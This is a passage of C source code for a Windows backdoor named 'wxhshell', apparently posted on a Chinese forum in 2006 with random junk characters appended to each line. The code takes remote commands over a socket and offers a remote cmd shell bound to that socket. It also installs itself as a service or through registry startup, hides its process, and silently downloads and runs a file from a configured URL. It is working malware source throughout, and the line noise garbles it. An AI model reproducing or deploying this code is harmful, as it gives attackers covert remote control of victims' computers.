    switch(cmd[0]) { &K)c*' l  
  {Rjj  
  // 帮助 s{KwO+UW  
  case '?': { 6I72;e ^!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4'?kyTO~  
    break; Fc7mAV=  
  } @xB"9s  
  // 安装 kfg9l?R$I<  
  case 'i': { D>~z{H%\  
    if(Install()) 4&r^mGs,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o{?s\)aBa  
    else DK&J"0jz,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LnxJFc:1K  
    break; Wze\z  
    } CP'?Om2  
  // 卸载 -O\!IXG^  
  case 'r': { xg/3*rL  
    if(Uninstall()) PR{?l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"Hh9O}6  
    else U8?QyG 2A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  B@A3T8'  
    break; 2ME3=C  
    } #)hM]=,e  
  // 显示 wxhshell 所在路径 |JSj<~1ki  
  case 'p': { 9EK5#_L[=  
    char svExeFile[MAX_PATH]; F.?^ko9d  
    strcpy(svExeFile,"\n\r"); >"{3lDyq-  
      strcat(svExeFile,ExeFile); @ bPQhn#(g  
        send(wsh,svExeFile,strlen(svExeFile),0); K]oFV   
    break; n4Ry)O[.  
    } gE0k|Z(RF  
  // 重启 UOZ"#cQ  
  case 'b': { g,7`emOX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?^Q!=W<7  
    if(Boot(REBOOT)) |jk"; h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xYRN~nr  
    else { yK_$6EtNKj  
    closesocket(wsh); Nqk*3Q"f  
    ExitThread(0); O2us+DhQ  
    } lSUEE0V%Q  
    break; J p!Q2}  
    } *ELbz}Q  
  // 关机 C3u/8Mrt7  
  case 'd': { )Pakb!0H@t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 35?et-=w  
    if(Boot(SHUTDOWN)) s|dcO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[7\p\Q  
    else { ,Za!  
    closesocket(wsh); &#F>%~<or  
    ExitThread(0); * h!gjbi  
    } {PnvQ?|Z  
    break; S2kFdx*Zf  
    }  T+9#P4  
  // 获取shell -[|R \'i  
  case 's': { Nj5Mc>_   
    CmdShell(wsh); 'mXf8   
    closesocket(wsh); A/|To!R  
    ExitThread(0); c]v $C&FX  
    break; 2)Grl;T]s  
  } (Gp/^[.%&  
  // 退出 TIbiw  
  case 'x': { t4/d1qW0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A7 qyv0F  
    CloseIt(wsh); ']WS@MbJ  
    break; u K6R+a  
    } MxD,xpf  
  // 离开 @Z&El:]3>  
  case 'q': { 7;jwKA;k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kp'_lKW)]q  
    closesocket(wsh); lRF04  
    WSACleanup(); ]wMd!.lm-  
    exit(1); ) gYsg  
    break; 0D+[W5TB  
        } F"1)y>2k  
  } P%A;EF~ v  
  } 7#SXqyP[  
@@"}i7  
  // 提示信息 >\ y|}|?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +3dWnBg?  
} qT$;ZV #  
  } Aw~ =U!  
rU=qr&f"B  
  return; brx 7hI  
} }><Vc ouJ[  
Uoe;4ni  
// shell模块句柄 ?& qMC  
int CmdShell(SOCKET sock) 9fj3q>Un,  
{ 7g8}]\i+  
STARTUPINFO si; +F.{:  
ZeroMemory(&si,sizeof(si)); VNBf2Va  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %nk]zf..  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1G$fU zS  
PROCESS_INFORMATION ProcessInfo; ``$Dgj[  
char cmdline[]="cmd"; E #q gt9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8[\F*H  
  return 0; Yj3j?.JJk  
} /'k4NXnW3  
[-5%[ty9X  
// 自身启动模式 Sio^FOTD  
int StartFromService(void) 0tyoH3o/d  
{ z SDRZ!  
typedef struct v._Q XcE  
{ \  {` `r  
  DWORD ExitStatus; G_vWwH4XtL  
  DWORD PebBaseAddress; "HX,RJ @^K  
  DWORD AffinityMask; QVLv}w`O  
  DWORD BasePriority; z*n  
  ULONG UniqueProcessId; Yef=HSzo  
  ULONG InheritedFromUniqueProcessId; w.Cw)# N  
}   PROCESS_BASIC_INFORMATION; qWX%[i%  
7iMBDkb7  
PROCNTQSIP NtQueryInformationProcess; nX~Qt%  
ntR@[)K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kZ7\zbN>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $;7,T~{  
w=Ai?u  
  HANDLE             hProcess; PxfWO1S(  
  PROCESS_BASIC_INFORMATION pbi; VBnD:w"z  
(#I$4Px{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @`R#t3)8JP  
  if(NULL == hInst ) return 0; [rk*4b^s  
8_ byS<b8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p+M#hF5o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e.-+zkQ8EI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qaJ$0,]H+  
O&BNhuW2  
  if (!NtQueryInformationProcess) return 0; " kp+1sG8  
cHo@F!{o=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @uA=v/>+  
  if(!hProcess) return 0; O?\UPNb:K  
j11FEE<W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mV!Ia-k  
)S?.YCv?  
  CloseHandle(hProcess); 6d~[j <@2  
N{+6V`\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TQ`s&8"P  
if(hProcess==NULL) return 0; UU\wP(f  
VWhq +8z  
HMODULE hMod; |Y|6`9;  
char procName[255]; ~-2%^ovB  
unsigned long cbNeeded; j IO2uTM~  
zplAH!s5''  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =u\W {1  
c{.y9P6  
  CloseHandle(hProcess); ByyvRc,v  
mnzB90<  
if(strstr(procName,"services")) return 1; // 以服务启动 E~}@56ER}  
hA=.${uIO  
  return 0; // 注册表启动 WO;2=[#O;  
} lU?8<X  
/Ne;Kdp  
// 主模块 $ljzw@k  
int StartWxhshell(LPSTR lpCmdLine) Nm {|  
{ [A jY ~  
  SOCKET wsl; PmjN!/  
BOOL val=TRUE; C2e.RTxc  
  int port=0; ZG(.Q:1  
  struct sockaddr_in door; <TN+-)H6  
*2,tGZ  
  if(wscfg.ws_autoins) Install(); 3R|Ub G`  
n[[2<s*YJ  
port=atoi(lpCmdLine); >wSrllmj@  
! 2=m |,  
if(port<=0) port=wscfg.ws_port; ]?p 9)d=%<  
MS5X#B  
  WSADATA data; Yt]Y(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d.e_\]o<@  
N[=c|frho  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K&"ZZFd_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); itYTV?bd  
  door.sin_family = AF_INET; ]v2%hX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cG)U01/"  
  door.sin_port = htons(port); idzc4jR6BT  
F)8M9%g5m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y':JUwUN  
closesocket(wsl); E+Eug{+  
return 1; WRCf [5  
} a~*wZJ  
.@KI,_X6,  
  if(listen(wsl,2) == INVALID_SOCKET) { oaac.7.fV  
closesocket(wsl); Jb;@'o6  
return 1; 7&`Yl[G  
} ,vDSY N6  
  Wxhshell(wsl); hQb3 8W[  
  WSACleanup(); to9X2^  
F_I.=zQr  
return 0; \+Nn>wW.  
ZrNBkfe :  
} tkIpeL[d  
S1I# qb  
// 以NT服务方式启动 W?H-Ng3E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f7_V ]  
{ 9P1!<6mN\  
DWORD   status = 0; :pJK Z2B,  
  DWORD   specificError = 0xfffffff; T)#e=WcP]  
b3NEYn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >PS`;S!(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0n/+X[%Ti  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;$Pjl8\  
  serviceStatus.dwWin32ExitCode     = 0; vJ?j#Ch  
  serviceStatus.dwServiceSpecificExitCode = 0; r91b]m3xL  
  serviceStatus.dwCheckPoint       = 0; [gaB}aLn  
  serviceStatus.dwWaitHint       = 0; j&-<e7O=  
)NLjv=ql  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P. Kfoos  
  if (hServiceStatusHandle==0) return; Oh=E!  
*<ILSZ  
status = GetLastError(); 230ijq3Y G  
  if (status!=NO_ERROR) i'YM9*yN  
{ +/>XOY|Ie  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P>nz8NRq  
    serviceStatus.dwCheckPoint       = 0; 'T+v&M  
    serviceStatus.dwWaitHint       = 0; f0@4 >\g  
    serviceStatus.dwWin32ExitCode     = status; {i"t h(J$  
    serviceStatus.dwServiceSpecificExitCode = specificError; _{2/QP}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \o}=ob  
    return; =/m$ayG  
  } Y52TC@'  
5~FXy{ZIH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /B!Ik:c}  
  serviceStatus.dwCheckPoint       = 0; ?s5/  
  serviceStatus.dwWaitHint       = 0; .+A2\F.^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o?| ]ciY  
} G  L-Pir  
nN%Zed2O@6  
// 处理NT服务事件,比如:启动、停止 Pi5($cn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kXN8hU}iq  
{ R ~?9+  
switch(fdwControl) yvCX is  
{ \AOHZ r  
case SERVICE_CONTROL_STOP: \R[f< K%  
  serviceStatus.dwWin32ExitCode = 0; ,1 ^IFBJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K3^2;j1F Q  
  serviceStatus.dwCheckPoint   = 0; :h8-y&;  
  serviceStatus.dwWaitHint     = 0; Gp0yRT.  
  { cT|aQM@iW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :>-&  
  } 7-Mm+4O9  
  return; }B`T%(11=  
case SERVICE_CONTROL_PAUSE: !B/5@P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MLvd6tIv,  
  break; kYZj^tR  
case SERVICE_CONTROL_CONTINUE: HhB&vi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "IJ 9vXI  
  break; tjJi|  
case SERVICE_CONTROL_INTERROGATE: av"dJm  
  break; |t6:4']  
}; z7!@^!r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UM}MK  
} 2O(= 2X  
z9 $1jC  
// 标准应用程序主函数 G2yQHTbl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H~; s$!lG  
{ gaU(ebsE  
iE#I^`^V  
// 获取操作系统版本 ;m~%57.;\  
OsIsNt=GetOsVer(); ipD/dx.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a8 .x=j<  
~COd(,ul  
  // 从命令行安装 >Yx,%a@~R  
  if(strpbrk(lpCmdLine,"iI")) Install(); !bBx'  
mvu$  
  // 下载执行文件 y4%[^g~-  
if(wscfg.ws_downexe) { ,56objaE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) : ~Ppv5W.  
  WinExec(wscfg.ws_filenam,SW_HIDE); i#%!J:_=  
} '3]M1EP  
k;f%OQsF_  
if(!OsIsNt) { M.K%;j`  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;Dp<|n  
HideProc(); ]p*Fq^  
StartWxhshell(lpCmdLine); 8Z>=sUMQ  
} MI,kKi  
else (/jZ &4T  
  if(StartFromService()) ]6].l$%z#  
  // 以服务方式启动 _i2guhRs*Q  
  StartServiceCtrlDispatcher(DispatchTable); .zo>,*:t  
else B *otqu z  
  // 普通方式启动 _ykT(`.#  
  StartWxhshell(lpCmdLine); 5@^['S4%8*  
_n+ 5{\z  
return 0; -'uz%2 {  
}
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只看该作者 1 发表于: 2006-10-10
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